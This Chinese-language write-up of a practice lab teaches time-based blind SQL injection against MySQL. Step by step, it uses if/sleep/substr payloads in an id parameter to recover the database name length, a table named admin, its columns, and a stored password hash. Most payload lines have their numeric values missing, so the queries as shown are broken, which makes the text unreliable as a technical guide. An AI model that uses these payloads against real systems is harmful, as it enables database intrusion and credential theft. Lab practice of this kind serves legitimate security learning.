大哥带我们的mysql注入 基于时间的盲注

?id= and if(length((select database()))>,,sleep())
?id= and if(length((select database()))>,,sleep())

if语句/if()函数

在基于时间型SQL盲注中，我们经常使用条件语句来判断我们的操作是否正确：

?id= and =
?id= and =

返回的都是同一个页面

用测试语句 and sleep(5) 判断 是否存在时间盲注

构造语句

?id= and if(ascii(substr((select database()),,))>,,sleep())

这句话的意思是如果返回的事错误 那我就sleep（5）秒

好的我们的语句构造成功

0X01爆数据库长度

?id= and if(length((select database()))>,,sleep())

?id= and if(length((select database()))>,,sleep()) 0.1
?id= and if(length((select database()))>,,sleep())  5.12秒响应

那么我们可以判断我们的数据库长度是4

好的那么我们接下来开始爆破表名

语句构造 查看第一个字母  1秒

?id= and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit ,),,))>,,sleep())

?id= and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit ,),,))>,,sleep())

响应5秒为错误的 那么ascii应该小于100

最后我们报出来为admin

0X02爆字段名

构造语句

?id= and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,,),,))>,,sleep())  1秒

?id= and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit ,),,))>,,sleep())  5秒

那么我们逐步拆解就好

0X04爆破字段名

?id= and if(ascii(substr((select password from admin limit ,),,))>,,sleep())  1秒

?id= and if(ascii(substr((select password from admin limit ,),,))>,,sleep())  5秒

那我们可以得到我们的password的字段值561465sd1561465165156165 MD5

谢谢大哥搭的靶场 多学多思